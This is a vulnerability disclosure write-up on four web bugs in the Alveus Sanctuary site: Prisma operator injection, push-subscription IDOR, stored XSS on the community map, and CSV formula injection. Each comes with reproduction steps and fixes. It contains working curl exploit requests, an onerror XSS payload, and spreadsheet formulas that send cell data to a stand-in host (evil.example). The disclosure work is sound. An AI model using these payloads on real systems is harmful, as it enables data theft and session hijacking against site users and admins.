// WRITEUP
Four Bugs in a Modern Day Sanctuary: Alveus
The disclosure of four web vulnerabilities found in Alveus Sanctuary, from unauthenticated Prisma operator injection to stored XSS on the community map.
Disclosure note: This testing was performed with explicit, prior permission from Alveus Sanctuary. All payloads below were benign proofs-of-concept against a local/staging instance, and the findings were reported privately so they could be fixed before publication. Please don't point these at production systems you don't own or have permission to test.
Intro
I was getting sick of scrolling through HackerOne for programs so I decided to do
some google dorking. Using search queries inurl:"/security" intitle:"bug bounty"
I was hoping to find programs that weren't part of the HackerOne platform.
While that was happening I had some twitch stream opened so an idea came to me, why not
look to see if any twitch streamers had some vdp's or bug bounties?
Alveus Sanctuary is a non-profit wildlife sanctuary and online education platform founded by Maya Higa. Their website also does way more than serve static pages: it takes community submissions, juggles push notifications, exports form data for admins, and plots a public map of where supporters are writing in from. Every one of those is a fun place to go poking around, and four of them poked back.
None of these bugs are exotic. They're the bread-and-butter web vulns: injection, broken access control, unsanitized output. But each one shows up in its own slightly different and slightly fun way. So let's walk through all four: the moment each one caught my eye, how to reproduce it, and how to fix it.
Here's the short version:
| # | Finding | Class | Auth required | Severity |
|---|---|---|---|---|
| 1 | Prisma operator injection on /api/short-links | Injection / data exposure | No | Low–Medium |
| 2 | IDOR on push-subscription mutations | Broken access control | No (but needs victim token) | Low |
| 3 | Stored XSS via Show-and-Tell location | Stored XSS | No | High |
| 4 | CSV/Excel formula injection in form export | Injection | No (admin triggers) | Medium |
1. Unauthenticated Prisma operator injection on /api/short-links
A URL shortener is about the most boring endpoint a site can have: you hand it a
slug, it hands you back a link. So when I saw POST /api/short-links take a JSON
body with a slug in it, the question wasn't "is this exploitable." It was
"does it actually check that slug is a string?" Because Prisma, the ORM
underneath, doesn't think in strings. It thinks in objects. To Prisma, "discord"
means equals discord, but { "not": "discord" } means run the not
operator. If the slug rides straight into a where clause untyped, the field
stops being a value and starts being a query language. It turned out it does ride
straight in, with no validation and no auth.
What's going on
The endpoint reads body.slug and passes it directly into a Prisma where
clause with no type validation. Because it never confirms
slug is a string, an attacker can smuggle Prisma operators into the query and
enumerate the entire ShortLinks table (every slug, destination link,
label, and id) without knowing a single slug in advance.
The impact is confidentiality-only and bounded. If every shortlink destination is already public, this is Low. If any shortlinks point at not-yet-public or internal destinations, it climbs from there.
Steps to reproduce
1. Confirm it's unauthenticated and leak the first row (no slug needed):
curl -X POST http://localhost:3000/api/short-links \
-H "Content-Type: text/plain" --data '{}'2. Baseline: a non-existent slug returns null:
curl -X POST http://localhost:3000/api/short-links \
-H "Content-Type: text/plain" --data '{"slug":"nope-12345"}'3. Confirm injection: use the not operator to retrieve the first row again:
curl -X POST http://localhost:3000/api/short-links \
-H "Content-Type: text/plain" --data '{"slug":{"not":"nope-12345"}}'4. Dump the whole table: keep appending discovered slugs to a notIn array,
excluding what you've already found, and repeat until you get null:
curl -X POST http://localhost:3000/api/short-links \
-H "Content-Type: text/plain" --data '{"slug":{"notIn":["discord","merch"]}}'Fix
Validate that slug is a string before it ever reaches Prisma. A schema
validator at the route boundary that coerces or rejects non-string
slug values kills this entirely, since { "not": ... } would no longer
type-check as a slug.
2. Unauthenticated IDOR on push-subscription mutations
Push notifications are a quiet little corner of most apps, which is exactly why I
went looking there. The endpoints that manage a subscription
(pushSubscription.setTags, .unregister, .updateRegistration) identify which
subscription to act on using its endpoint. That's the long URL the browser's
push service hands out. And the thing I wanted to know was simple: when you ask
to change a subscription, does the server check that the subscription is yours?
It does not. It trusts the endpoint as both the name of the record and your
permission to edit it, which means if you know someone else's endpoint, the app
treats you as them.
What's going on
The push-subscription tRPC endpoints let a caller mutate a subscription
identified only by its endpoint, with no authentication and no ownership
check. Hand the endpoint a victim's subscription and you can disable their
notifications, rewrite their notification tags, or reassign their subscription to
attacker-controlled keys.
The honest caveat, and why this isn't a five-alarm fire, is that you have to already know the victim's endpoint, which is a long, high-entropy, provider-issued token that isn't enumerable:
https://updates.push.services.mozilla.com/wpush/v2/<fernet-token>
https://fcm.googleapis.com/fcm/send/<token>Steps to reproduce
1. Disable a victim's notifications (unregister):
curl -X POST 'http://localhost:3000/api/trpc/pushSubscription.unregister?batch=1' \
-H 'Content-Type: application/json' \
--data '{"0":{"json":{"endpoint":"https://updates.push.services.mozilla.com/wpush/v2/VICTIM-TOKEN"}}}'The record is soft-deleted (deletedAt is set) and the victim stops receiving
notifications.
2. Rewrite a victim's notification tags (setTags):
curl -X POST 'http://localhost:3000/api/trpc/pushSubscription.setTags?batch=1' \
-H 'Content-Type: application/json' \
--data '{"0":{"json":{"endpoint":"https://updates.push.services.mozilla.com/wpush/v2/VICTIM-TOKEN","tags":{"announcements":"0"}}}}'3. Reassign/overwrite the subscription (updateRegistration):
curl -X POST 'http://localhost:3000/api/trpc/pushSubscription.updateRegistration?batch=1' \
-H 'Content-Type: application/json' \
--data '{"0":{"json":{"endpoint":"https://updates.push.services.mozilla.com/wpush/v2/VICTIM-TOKEN","newSubscription":{"endpoint":"https://.../ATTACKER-TOKEN","p256dh":"ATTACKER_KEY","auth":"ATTACKER_AUTH"}}}}'Fix
It would be to tie each subscription to its owning user and require an authenticated session whose user matches the subscription's owner before allowing any mutation.
3. Unauthenticated stored XSS via Show-and-Tell location on the community map
Alveus has a feature I really like: a community map where supporters submit little
posts ("found a ladybug," "rescued a turtle") tagged with where they're writing
in from, and the site drops a marker on a world map. Hover a marker and a popup
shows the place name. It's wholesome. It's also where I spent an afternoon, because
free-text fields that get rendered somewhere are always worth a second look. I
submitted a normal post and watched location come back from the server
untouched, with no encoding. Then I traced where it lands on the client: the popup is
built with MapLibre's setHTML(), which assigns the string straight to
innerHTML. At that point a place name isn't a place name anymore. It's markup.
This is the most serious of the four.
What's going on
The Show-and-Tell location field is stored without HTML sanitization and
later rendered into a MapLibre popup with setHTML() (i.e. innerHTML). An
unauthenticated attacker submits a post whose location contains an HTML payload,
and that script runs in the browser of any visitor to the public
/show-and-tell/map page who hovers the corresponding marker. location is
meant to be a plain place name like "Memphis, TN, USA," and nothing about it should
ever reach innerHTML.
Steps to reproduce
1. Submit a Show-and-Tell post via the public form at /show-and-tell/submit,
appending an HTML payload to location. The <img> points at nothing so the
browser fires onerror, and display:none hides the broken-image icon:
POST /api/trpc/showAndTell.create?batch=1 HTTP/1.1
Host: localhost:3000
Content-Type: application/json
{"0":{"json":{"displayName":"Eddie","title":"Found a ladybug","text":"Found a ladybug","location":"Memphis, TN, USA<img src=x style=display:none onerror=alert(1)>","latitude":35,"longitude":-90.29}}}The server stores the payload verbatim and echoes the location field back with
the <img ... onerror=alert(1)> intact.
2. As a moderator, approve the post (posts must be approved before they hit the public map).
3. Trigger it: As any visitor, open http://localhost:3000/show-and-tell/map,
zoom past TOOLTIP_MIN_ZOOM, and hover the marker. The popup renders the stored
HTML and the payload executes, in that visitor's browser, not yours. Swap
alert(1) for session theft, a drive-by redirect, or defacement and the real
impact is clear.
Fix
A place name is text and should be rendered as text. One method swap at the sink
in CommunityMap.tsx:
popup
.setLngLat(coordinates)
.setText(feature.properties.name) // not .setHTML()
.addTo(map);setText() assigns to textContent, so <img onerror=...> becomes the literal
characters of a strange-looking city name and nothing more. Defense-in-depth:
strip or reject HTML in location on write (in createPost / updatePost),
matching how the text and note fields are already treated.
4. CSV / Excel formula injection in the admin form-entry export
This one is sneaky because the person who gets hurt isn't the one the attacker
talks to. Alveus lets admins export form submissions to CSV. The export is built
with csv-stringify, which correctly quotes and escapes everything for CSV
parsing, and that feels like enough right up until you remember that a
spreadsheet doesn't just parse a cell, it evaluates it. A cell that starts
with = isn't text to Excel; it's a formula. So the question I asked was: can a
public form-filler put a = at the front of their name, and will it survive all
the way into an admin's spreadsheet? It can, and it does. The attacker submits
through the front door; the payload detonates inside a privileged admin's Excel.
What's going on
The admin export endpoint GET /api/admin/forms/[formId]/export-entries builds a
CSV from user-controlled fields (givenName, familyName, email, the mailing
address, even user.name). csv-stringify escapes for CSV parsing but does
nothing to neutralize values a spreadsheet treats as formulas. Any visitor can
submit a form whose name fields start with =, +, -, or @; when an admin
exports and opens the file in Excel, Google Sheets, or LibreOffice, those cells
evaluate. A benign =1+1 proves execution; a weaponized payload exfiltrates
adjacent cells (other entrants' PII) or reaches out over the network:
=HYPERLINK("https://evil.example/leak?d="&A2&B2&C2,"Click for prize")
=WEBSERVICE("https://evil.example/?"&A2)Steps to reproduce
Prerequisite: create and activate a form to submit against. New forms
default to active=false, and the formId must be a valid cuid, which a
server-created form guarantees:
# create the form (returns void; id is not in the response)
curl -s 'http://localhost:3000/api/trpc/adminForms.createOrEditForm?batch=1' \
-H 'Content-Type: application/json' \
--data '{"0":{"json":{"action":"create","label":"Excel Injection PoC","config":{}}}}'
# capture the new form's cuid id
FORMID=$(docker exec website-db-1 mysql -uroot -palveusgg_secret -D alveusgg -N \
-e "SELECT id FROM Form WHERE label='Excel Injection PoC' ORDER BY createdAt DESC LIMIT 1;")
echo "FORMID=$FORMID"
# activate it so it accepts submissions
curl -s 'http://localhost:3000/api/trpc/adminForms.toggleFormStatus?batch=1' \
-H 'Content-Type: application/json' \
--data "{\"0\":{\"json\":{\"id\":\"$FORMID\",\"active\":true}}}"1. Submit a form entry with formula payloads in the name fields. Here
givenName is =1+1 and familyName is =2*3:
curl -s 'http://localhost:3000/api/trpc/forms.enterForm?batch=1' \
-H 'Content-Type: application/json' \
--data "{\"0\":{\"json\":{\"formId\":\"$FORMID\",\"email\":\"attacker@evil.example\",\"givenName\":\"=1+1\",\"familyName\":\"=2*3\",\"acceptPrivacy\":true,\"allowMarketingEmails\":false,\"mailingAddress\":{\"addressLine1\":\"123 Evil St\",\"addressLine2\":\"\",\"postalCode\":\"12345\",\"city\":\"Testville\",\"state\":\"CA\",\"country\":\"US\"}}}}"A 200 with "json":null confirms the entry was stored (encrypted at rest).
2. Export as an admin and inspect the CSV:
curl -s "http://localhost:3000/api/admin/forms/$FORMID/export-entries" \
-o form-entries-excel-injection-poc.csv
cat form-entries-excel-injection-poc.csvformId,id,date,username,givenName,familyName,email,allowMarketingEmails,addressLine1,addressLine2,postalCode,city,state,countryCode,country
cmqbvlwdz0006sohtt4bvbxaw,cmqbvlwq90008soht82c555fi,2026-06-13T04:49:29.069Z,Dev Admin,=1+1,=2*3,attacker@evil.example,no,123 Evil St,,12345,Testville,CA,US,United States of America (the)The givenName / familyName columns come out as raw, unescaped formulas, with no
leading ' and no neutralization. Opening the file evaluates =1+1 → 2 and
=2*3 → 6.
Fix
Neutralize formula-triggering cells before writing them to the CSV:
- Prefix any cell starting with
=,+,-, or@with a tab character (0x09) inside the quoted field, and/or - Prepend each cell field with a single quote (
'), wrap it in double quotes, and escape embedded double quotes by doubling them, so the spreadsheet reads the content as text.
None of these are perfectly reliable in Excel after a save-and-reopen cycle, so treat exported CSVs as untrusted and warn admins accordingly. See OWASP's CSV Injection write-up and George Mauer's post for the gory details.
Wrapping up
Four bugs, four different lessons, but one common thread: never trust input, and never trust your own output. Three of these (the operator injection, the stored XSS, and the CSV injection) come down to data being passed somewhere (a query, a DOM, a spreadsheet) without being constrained to the shape it was supposed to have. The IDOR is the odd one out: there the data was fine, but the authorization was missing.
The fixes are correspondingly boring, which is exactly what you want in security: validate types at the boundary, check ownership before mutating, render untrusted strings as text, and neutralize spreadsheet formulas on export.
Big thanks to Alveus Sanctuary for permitting this testing and for caring about the security of a platform that does genuinely good work for wildlife education.